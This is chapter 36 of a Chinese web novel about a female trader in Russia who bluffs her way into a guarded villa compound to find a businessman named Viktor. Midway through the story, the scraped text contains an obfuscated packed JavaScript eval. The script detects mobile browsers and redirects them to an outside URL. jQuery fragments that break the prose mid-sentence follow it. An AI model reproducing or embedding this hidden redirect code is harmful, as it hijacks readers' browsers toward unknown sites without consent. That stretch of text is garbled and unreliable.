36. 第 36 章

作品:《俄罗斯倒爷她卖计生用品发财了

    “啥意思?”陆西风不知道这没头没尾的一句话是什么意思。


    路双喜看着他脑袋上殷红的纱布,“把脑袋别在裤腰带的生活,还想继续?”


    陆西风沉默的听完路双喜的需求,什么也没说,一瘸一拐的离开。


    他早就不想过这种打打杀杀的日子。


    有了安娜,他开始竟然开始想未来。


    也许,他能跟安娜有个小家,回家不再是冷锅冷灶,孤身一人。


    只是他没法回答一个确切的答案,但是他有一个更想解决的问题。


    上了七楼,推开办公室的木门,赵红军跟徐娇娇正坐在沙发上打情骂俏。


    陆西风一进来,徐娇娇立马挣出他的怀抱,拢了拢头发,“我下去看看。”


    赵红军意犹未尽,坐直身子,眼底有一丝不易察觉的厌恶。


    “怎么不养伤歇着?”


    陆西风挪到铁炉边,费劲坐下,把拐杖靠在自己身上,“军哥,我想从国内运点货过来,占不了多大地方,一百来箱的货。”


    赵红军有一节火车皮,他虽然经营着批发楼,自己也掌握一手货源,偶尔运些硬货专卖给楼里的人。


    他不知道陆西风突然运什么货,但是他明白,这跟路双喜肯定有点关系。


    “西风,咱俩这么多年的关系,你就是我亲弟弟,我不知道路双喜给你灌了什么迷魂汤,你咋这么想当她手里的枪?就不说别的,郑光明那事儿,别以为我不知道。”


    那天路双喜拿着维克多公司的邀请函,当时确实唬住他了,可是当晚越想越不对劲。


    她背靠着维克多,却来自己这里摆摊卖货?


    而且她来了这么久,怎么维克多一次都没来看她?


    想到此处,他觉得路双喜的邀请函说不定是假的。


    也就陆西风傻了吧唧信了她的鬼话。


    陆西风心里挂起一阵冷风,吹得他周身寒冷。


    “军哥,该给的运费我出,都是在楼里做买卖……”


    赵红军不想继续这个话题,“早点休息吧,你尽快把伤养养,车站你不在不行。”


    陆西风看着眼前的大哥,头一次看得这般真切。


    他抓起拐杖,站起身,“那我先走了。”


    下楼的楼梯不好走,他一点点往下挪,心里的冷也就越发沉。


    原来自己真的只不过是个打手而已。


    自己还念在多年的情分任劳任怨?


    他突然觉得自己可笑的令人发指。


    等他挪到二楼,店里只剩下李春桃。


    “双喜呢?”


    “她出去忙去了,说你回来就直接在这住下,搭张床就行,等我们回来,咱就一起做买卖。”


    陆西风一滞,苦笑。


    “就这么笃定我办不成车皮?”


    李春桃用炉钩子扒拉火里的土豆,“那你知道货谁偷的吗?”


    “谁?”


    “胡彪。”


    陆西风的脸色变得晦暗阴沉起来,“他?我去办了他。”


    “可别,货都找回来了,你还不知道吧,他被双喜好顿揍,又冻伤了,现在还没出院呢。”


    “还真得是双喜干出来的事儿。”陆西风笑得很开怀。


    李春桃起身扶着他坐在凳子上,“你的东西我去帮你收拾去。”


    这回陆西风没有拒绝。


    他知道还有几天,她们两个就要回国,得带着不少刀乐,有他在,车上的绺子不敢动。


    所以,解决不了车皮,但是他能当挡箭牌。


    陆西风欣然接受。


    ……


    路双喜接受不了现实。


    她竟然连大门都进不去。


    眼前的高档小区,守卫森严,俄国壮汉挡在她身前,“这不是你能进来的地方,快走!”


    路双喜笑的脸都僵硬了,可对方连贿赂都不收。


    她把保加利亚烟揣进口袋,遗憾离开。


    放弃是不可能放弃的。


    她站得离大门口远远的,蹲在路边,就差一个破碗。


    拢紧了身上的棉袄,她透过露出的两只眼睛看着来来往往的人群。


    一个裹着呢子大衣围着花头巾的俄国胖女人走出大院,手里还提着个布口袋。


    她直起身,不远不近的缀在她身后。


    看她的穿着打扮,应该是这里面的保姆,当然在这不叫保姆,叫家庭女工。


    路双喜尾随在她身后,跟着去了不远的国营食品商店,看她买了鸡蛋和牛奶。


    又跟着她走出商店去了另一处农贸市场。


    推开市场的棉布帘,室内温暖如春,摊位上摆放的都是新鲜蔬菜,这在冬季的俄国,那可是比肉还金贵的东西。


    嫩绿的菜叶舒展,上面还有喷洒的水珠,显得更叫新鲜,一颗颗鲜红的西红柿,看得路双喜直咽口水。


    真的天天列巴配酸黄瓜,吃的她面如菜色。


    每天掰着手指头,回国一天三顿吃啥,安排的妥妥当当,以此解馋。


    等那女人买好了东西,开始缓缓往回走。


    漫天的大雪洋洋洒洒落下,俄国女人的步伐在大雪中走得越来越快。


    “久佳!维乌普斯季列维什!”


    女人停下脚步,回头看去。


    路双喜小跑上前,将手里的刀乐递上前去。


    她直接喊住女人,说她的钱掉了。


    哪是女人掉的钱,这可是路双喜从兜里掏出热乎乎的钱。


    女人迟疑,可看着睫毛结满冰霜的大眼睛,还是伸出了手。


    那可是几十刀乐,是一笔不少的钱。


    “斯吧西吧,多奇卡!”


    两人全程俄语交流,都围着围巾帽子,露在外面的头发丝跟睫毛都是冰霜,语言沟通无碍,根本辨认不出哪国人。


    俄国也是多种民族,黑眼珠的卡尔梅克人、布里亚特人、雅库特人不在少数,所以女人也以为对方是纯正的俄国人。


    路双喜指了指不远的别墅区。


    “我也正好去这里,你方便带我进去吗?”


    女人捏着手里没捂热的刀乐,迟疑了一瞬,“你要找人?”


    路双喜顺势揽着她的胳膊,亲切地拉着她继续向前走。


    “我有个远亲在这里上班,说是让我过来找个工作。”


    女人这才放心了一点,她把钱顺势塞进口袋,“我带你进去。”


    刚好门卫正在岗亭里吃自带的午餐,路双喜低着头隐藏在她身侧,俄国女人顺利进了大门,门卫根本没有走出来查看。


    走进偌大的别墅区,怎么找到维克多也是难事,她又从兜里掏出十刀乐塞进女人的口袋。


    “维克多家你知道在哪吗?”


    女人面色有些古怪,接着抬手指向路尽头,“直走,左转,最里面那栋带大铁门的房子。”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17083688|192694||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    路双喜点点头,“谢谢。”


    等她好不容易走到那栋房子前,看着院子里厚厚的积雪,彻底傻了眼。


    这一瞅就是许久没住人的房子。


    被骗了?


    她下意识就想去追刚刚那个女人,却正巧看见个过路的女人,穿着昂贵的貂皮大衣,尖头皮鞋,金黄色的大卷散落在肩头。


    “你好,维克多不在家吗?”


    女人有些诧异,蓝灰色的眸子打量她的全身。


    “你找他干嘛?”


    路双喜脑子飞速运转,想了无数个可能,最后说了个最靠谱的。


    “我怀孕了,我得找到他。”


    女人瞪大双眼,不可置信的模样,像是活见鬼。


    “你?怀孕?”


    路双喜还有模有样的摸了摸肚子,“五个月了,他突然不见了,我只能来这里找他。”


    女人越过她,看向充满积雪的院落,“他半个月前搬走了,走的很急,也不知道搬去了哪。”


    路双喜不死心,“那他上班的地方在哪?”


    女人充满怜悯的眼神落在她肚子上,“中心区的高尔基大街,大剧院那儿。”


    路双喜叹了口气,“谢谢你,好心人,我一定要找到他。”


    女人还是不太相信,又问了一遍,“你确定是维克多·索科洛夫?”


    路双喜点点头,“非常确定。”


    女人啧了一声,“祝你好运。”


    “多谢。”


    路双喜觉得自己这个蹩脚又合理,荒诞又合情的说法,简直是漏洞百出。


    但是就看她这副打扮,也不像是谈生意的对象,所以,只能出此下策。


    以维克多这样的身份地位,计生用品的市场一定可以打动他。


    谁最有可能搞到木材?


    只有维克多。


    况且她可是救了他一条小命。


    救人一命那可是胜造七级浮屠。


    利益跟情谊摆在牌桌上,怎么都不寒颤。


    只是现在的难题是。


    维克多不见了。


    这就比较难整了。


    路双喜好不容易混进来,又花了几十刀乐,扑了一个空。


    怪不得那个收了钱的家庭女工脸色奇怪,肯定是知道他们家搬走了。


    她匆匆离开别墅区,拦下一辆破旧的拉达车,直奔中心区的大剧院。


    阿尔巴特街倒是离中心区不远,开了十来分钟就到了目的地。


    眼前是宏伟的淡黄色古典建筑,雄伟壮丽又朴素典雅。


    正门口的八根十几米的古希腊圆柱,给人以强烈的视觉冲击。


    圆柱上方,三角形的墙面上矗立着古希腊神话人物的浮雕,工艺精湛,气势恢宏。


    如果进入里面一定也是金碧辉煌,只是她现在还没有空闲去看看。


    路双喜下车,往剧院边的街区走去,果然看到一栋三层楼房。


    样式简朴的多,黄白色的墙体,纯白色拱形门窗,门边一块黑底的牌子,写了一长串的文字。


    路双喜掏出怀里的邀请函,比对着上面的俄文字母,确认了几遍没问题,这才走上前。


    只是门刚推开,扑面而来是极重的压迫感。


    几个黑衣人齐齐扭过头来,路双喜看着他们腰间的手枪,咽了一下口水。


    “嗨!”


    她抬起冻得通红的右手。